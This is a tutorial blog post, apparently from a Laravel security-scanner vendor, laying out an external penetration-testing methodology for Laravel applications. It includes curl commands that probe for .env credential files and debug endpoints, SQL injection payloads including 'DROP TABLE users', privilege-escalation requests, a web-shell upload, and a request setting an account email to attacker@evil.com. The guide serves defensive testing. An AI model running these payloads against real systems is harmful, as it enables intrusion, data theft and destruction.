Security 16 min read

How to Pentest a Laravel Application: A Practical Methodology

A step-by-step external penetration testing methodology for Laravel applications. Covers reconnaissance, fingerprinting, common exploit paths, tools, and when to hire a professional.

Matt King
Matt King
April 30, 2026
Last updated: April 30, 2026
How to Pentest a Laravel Application: A Practical Methodology

Penetration testing a Laravel application is fundamentally different from a security audit. An audit reviews your code and configuration for weaknesses. A pentest puts you in the attacker's seat and tries to break in from the outside.

This guide covers a practical, external penetration testing methodology specifically for Laravel applications. You will learn how to fingerprint Laravel, enumerate common attack surfaces, test high-value exploit paths, and decide when to bring in a professional.

What this guide covers:

  • Reconnaissance and Laravel fingerprinting
  • Enumerating exposed files and endpoints
  • Testing the top Laravel-specific exploit paths
  • Tools and automation for each phase
  • When to DIY vs. hiring a professional pentester

Phase 1: Reconnaissance and Fingerprinting

Before you start testing, you need to confirm the target is running Laravel and understand what is publicly visible. This phase is passive; you are gathering information, not sending exploit payloads.

Identifying Laravel

Laravel leaves several fingerprints that are visible from the outside:

Cookie names. Laravel's default session cookie is named laravel_session. If you see this in response headers, you have confirmed Laravel:

curl -I https://target.com | grep -i set-cookie
# Look for: laravel_session=...

CSRF token meta tag. Laravel applications include a CSRF token in the HTML head:

<meta name="csrf-token" content="aB3kD9...">

Default error pages. If debug mode is disabled, Laravel's default 404 and 500 pages have a distinctive minimal design. If debug mode is enabled, you will see an Ignition error page with full stack traces, environment variables, and database credentials.

X-Powered-By headers. Some Laravel deployments leak PHP version information through the X-Powered-By header. This is not Laravel-specific, but it narrows down the stack.

Technology enumeration

Use tools to map the full technology stack:

# Wappalyzer CLI for technology detection
wappalyzer https://target.com

# Check HTTP headers for framework hints
curl -sI https://target.com | head -30

# Check for common Laravel paths (will test these in depth later)
curl -s -o /dev/null -w "%{http_code}" https://target.com/telescope
curl -s -o /dev/null -w "%{http_code}" https://target.com/horizon
curl -s -o /dev/null -w "%{http_code}" https://target.com/.env

Subdomain and DNS enumeration

Map the target's full external surface. Laravel applications often have subdomains for staging, admin panels, API endpoints, and documentation:

# Subdomain enumeration with subfinder
subfinder -d target.com -o subdomains.txt

# DNS record lookup
dig target.com ANY
dig +short CNAME staging.target.com

# Check for wildcard DNS
dig +short nonexistent-random-string.target.com

Pay special attention to subdomains like staging., dev., api., admin., and telescope.. These are common in Laravel deployments and frequently have weaker security controls than the main application.


Phase 2: Exposed Files and Endpoints

This is where Laravel pentesting diverges from generic web application testing. Laravel has specific files and endpoints that attackers target first because they yield immediate high-value results.

The .env file

The .env file is the single most valuable target on a Laravel application. It contains database credentials, API keys, mail server passwords, the APP_KEY (which is used for encryption and session signing), and often third-party service credentials.

# Direct .env access
curl -s https://target.com/.env

# Common backup patterns
curl -s https://target.com/.env.backup
curl -s https://target.com/.env.old
curl -s https://target.com/.env.production
curl -s https://target.com/.env.example

# Check if .env is accessible from parent directory traversal
curl -s https://target.com/../.env

If you can download the .env file, the test is already a critical finding. The APP_KEY alone can be used to forge session cookies and, in some Laravel versions, achieve remote code execution. Read more about exposed .env file risks.

Debug mode and Ignition

Laravel's debug mode exposes an enormous amount of internal information. Test for it by triggering an error:

# Trigger a 404 with a random path
curl -s https://target.com/this-path-does-not-exist-xyz123

# Trigger an error with invalid input
curl -s "https://target.com/api/users/not-a-number"

# Check for Ignition specifically
curl -s https://target.com/_ignition/health-check
curl -s https://target.com/_ignition/execute-solution

The Ignition error page displays environment variables, the full stack trace, database query details, and the application's file paths. In older versions of Ignition (before v2.5.2), the execute-solution endpoint could be used for remote code execution. For a deeper look at debug mode risks, see the debug mode in production guide.

Development tools

Laravel ships with several development tools that are dangerous in production:

# Telescope (application monitoring)
curl -s -o /dev/null -w "%{http_code}" https://target.com/telescope

# Horizon (queue monitoring)
curl -s -o /dev/null -w "%{http_code}" https://target.com/horizon

# Laravel Log Viewer
curl -s -o /dev/null -w "%{http_code}" https://target.com/log-viewer
curl -s -o /dev/null -w "%{http_code}" https://target.com/logs

# Clockwork (debug profiler)
curl -s -o /dev/null -w "%{http_code}" https://target.com/__clockwork

Any 200 response on an unauthenticated browser session is a finding. These tools expose request payloads, database queries, job data, cache contents, and application logs.


Phase 3: Directory and Route Fuzzing

Laravel applications may have routes that are not linked from the UI but are still accessible. Use directory fuzzing to discover them.

Fuzzing with ffuf

# General directory fuzzing
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403

# Laravel-specific wordlist (create this or use SecLists)
ffuf -u https://target.com/FUZZ -w laravel-paths.txt -mc 200,301,302,403

# API route discovery
ffuf -u https://target.com/api/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403

A focused Laravel wordlist should include:

.env
.env.backup
.env.example
.env.old
.env.production
telescope
horizon
log-viewer
logs
_ignition/health-check
_ignition/execute-solution
storage/logs/laravel.log
storage/framework/sessions
nova
admin
api/user
api/users
sanctum/csrf-cookie
broadcasting/auth
phpinfo.php
server-status

API route enumeration

If the target has an API, enumerate its endpoints:

# Check for common API patterns
for endpoint in users posts orders products settings; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/api/$endpoint")
    echo "$endpoint: $code"
done

# Check for API documentation endpoints
curl -s https://target.com/api/documentation
curl -s https://target.com/docs/api

Phase 4: Testing Common Laravel Exploit Paths

Now you move from reconnaissance to active testing. Each of these tests targets a vulnerability pattern that is common in Laravel applications.

Mass assignment

Laravel's Eloquent ORM supports mass assignment, and improperly guarded models allow attackers to set fields they should not control:

# Registration endpoint: try adding admin/role fields
curl -X POST https://target.com/api/register \
    -H "Content-Type: application/json" \
    -d '{"name":"test","email":"test@test.com","password":"password123","password_confirmation":"password123","is_admin":true,"role":"admin"}'

# Profile update: try escalating privileges
curl -X PUT https://target.com/api/user/profile \
    -H "Authorization: Bearer YOUR_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"name":"test","email_verified_at":"2026-01-01","is_admin":1}'

Look for any field that gets accepted silently. If the response includes is_admin: true or the account gains new permissions, the model has a mass assignment vulnerability.

Insecure Direct Object Reference (IDOR)

IDOR vulnerabilities are extremely common in Laravel APIs. Test by accessing resources belonging to other users:

# Authenticate as user A, then try accessing user B's resources
curl -s https://target.com/api/orders/1 -H "Authorization: Bearer USER_A_TOKEN"
curl -s https://target.com/api/orders/2 -H "Authorization: Bearer USER_A_TOKEN"

# Try sequential IDs on any resource endpoint
for id in $(seq 1 20); do
    curl -s -o /dev/null -w "$id: %{http_code}\n" \
        "https://target.com/api/invoices/$id" \
        -H "Authorization: Bearer YOUR_TOKEN"
done

If you can access resources that belong to other users, the application is missing authorization checks (Laravel Policies or Gates).

SQL injection

Eloquent prevents most SQL injection, but raw queries and whereRaw() calls are still common:

# Test search/filter parameters
curl -s "https://target.com/api/users?search=test' OR '1'='1"
curl -s "https://target.com/api/products?sort=name;DROP TABLE users--"
curl -s "https://target.com/api/orders?filter[status]=pending' UNION SELECT 1,2,3--"

# Test order/sort parameters (commonly vulnerable)
curl -s "https://target.com/api/products?orderBy=price&direction=asc;SELECT+SLEEP(5)"

Use Burp Suite's Intruder or sqlmap for more thorough injection testing:

sqlmap -u "https://target.com/api/products?search=test" \
    --headers="Authorization: Bearer YOUR_TOKEN" \
    --level=3 --risk=2 --batch

CSRF bypass attempts

Laravel's CSRF protection is strong by default, but test for bypasses:

# Test if the API accepts requests without CSRF token
curl -X POST https://target.com/user/settings \
    -H "Content-Type: application/json" \
    -d '{"email":"attacker@evil.com"}'

# Test if CORS allows credential-bearing cross-origin requests
curl -sI https://target.com/api/user \
    -H "Origin: https://evil.com" | grep -i access-control

File upload testing

If the application accepts file uploads, test for unrestricted upload types:

# Try uploading a PHP file disguised as an image
curl -X POST https://target.com/api/upload \
    -H "Authorization: Bearer YOUR_TOKEN" \
    -F "file=@shell.php;type=image/jpeg"

# Try double extensions
curl -X POST https://target.com/api/upload \
    -H "Authorization: Bearer YOUR_TOKEN" \
    -F "file=@payload.php.jpg"

Phase 5: Automated Scanning with Nuclei

Nuclei is an open-source vulnerability scanner with community-maintained templates. It has specific templates for Laravel:

# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Run Laravel-specific templates
nuclei -u https://target.com -tags laravel

# Run all web vulnerability templates
nuclei -u https://target.com -t http/ -severity critical,high

# Run against multiple targets from subdomain enumeration
nuclei -l subdomains.txt -tags laravel -severity critical,high,medium

Nuclei templates cover many Laravel-specific checks including:

  • Exposed .env files
  • Debug mode detection
  • Ignition RCE (CVE-2021-3129)
  • Exposed Telescope and Horizon dashboards
  • Laravel log file disclosure
  • Default APP_KEY detection

Using Burp Suite for manual testing

Burp Suite is essential for manual testing that automated tools miss:

  1. Proxy your browser through Burp to capture all requests as you navigate the application normally
  2. Map the application by crawling with Burp Spider
  3. Use Repeater to modify and replay requests for IDOR and mass assignment testing
  4. Use Intruder for parameter fuzzing and brute force testing
  5. Check the Passive Scanner results for low-hanging issues like missing headers and cookie flags

Phase 6: Reporting and Prioritization

Organize your findings by severity. Here is a practical framework for Laravel-specific issues:

Severity Finding Impact
Critical .env file accessible Full application compromise
Critical Debug mode enabled with Ignition Credential exposure, potential RCE
Critical APP_KEY exposed or default Session forgery, data decryption
High Telescope/Horizon publicly accessible Data leak, queue manipulation
High Mass assignment on privileged fields Privilege escalation
High IDOR on sensitive resources Unauthorized data access
Medium SQL injection in search/filter Data extraction
Medium Missing security headers XSS, clickjacking risk
Medium CORS misconfiguration Cross-origin attacks
Low Server version disclosure Information gathering
Low Verbose error messages Information leakage

For each finding, document:

  • Steps to reproduce with exact curl commands or Burp requests
  • Evidence (screenshots, response bodies)
  • Business impact in plain language
  • Remediation with specific code or configuration changes

DIY vs. Professional Pentest

Do it yourself when:

  • You want to catch the obvious issues before a formal engagement
  • Your budget does not allow for a professional test right now
  • You need a quick check after a specific deployment

Hire a professional when:

  • Your application handles payments, health data, or other regulated information
  • You need a formal report for compliance (SOC 2, ISO 27001, PCI DSS)
  • You want testing of complex business logic and multi-step attack chains
  • You have never had a professional pentest and do not know your baseline

A good approach is to layer both. Run StackShield's free scan and your own manual testing regularly, and hire a professional pentester annually for comprehensive coverage.


Start with an Automated Baseline

Before diving into manual testing, establish a baseline with automated scanning. StackShield's free scan checks your Laravel application for many of the issues covered in this guide: exposed .env files, debug mode detection, ungated development tools, missing security headers, and more. It runs in under 60 seconds and gives you a prioritized list of what to test first.

You can also review all the security checks StackShield runs to understand what is covered automatically and where manual testing should focus.

Penetration testing is not a one-time activity. Every deployment, dependency update, and infrastructure change can introduce new vulnerabilities. Combine regular pentesting with continuous automated monitoring to catch issues before attackers do.

Frequently Asked Questions

What is the difference between a pentest and a security audit for Laravel?

A security audit is a broad review of your application's code, configuration, and architecture for security weaknesses. A penetration test is an active, hands-on attack simulation where you try to exploit vulnerabilities from the outside, just like a real attacker would. Audits are about coverage. Pentests are about proving exploitability. Ideally you do both.

Can I pentest my own Laravel application?

Yes, and you should. Many critical Laravel issues (exposed .env files, debug mode leaking secrets, ungated Telescope or Horizon dashboards) can be found with basic tools and checklists. For deeper testing like business logic flaws, complex injection chains, or authentication bypasses, hiring a professional pentester is worth the investment.

What tools do I need to pentest a Laravel app?

At minimum, you need a web proxy like Burp Suite Community Edition, a directory fuzzer like ffuf or feroxbuster, and curl for manual request crafting. For automated vulnerability scanning, Nuclei with its community templates covers many Laravel-specific checks. For dependency analysis, composer audit handles known CVEs in your packages.

How often should I pentest my Laravel application?

Run a basic external test after every major release or infrastructure change. A thorough professional pentest should happen at least annually, or after significant feature additions like new APIs, authentication flows, or payment integrations. Automated scanning tools like StackShield can fill the gaps between manual tests with continuous monitoring.

Related Security Terms

Stay Updated on Laravel Security

Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.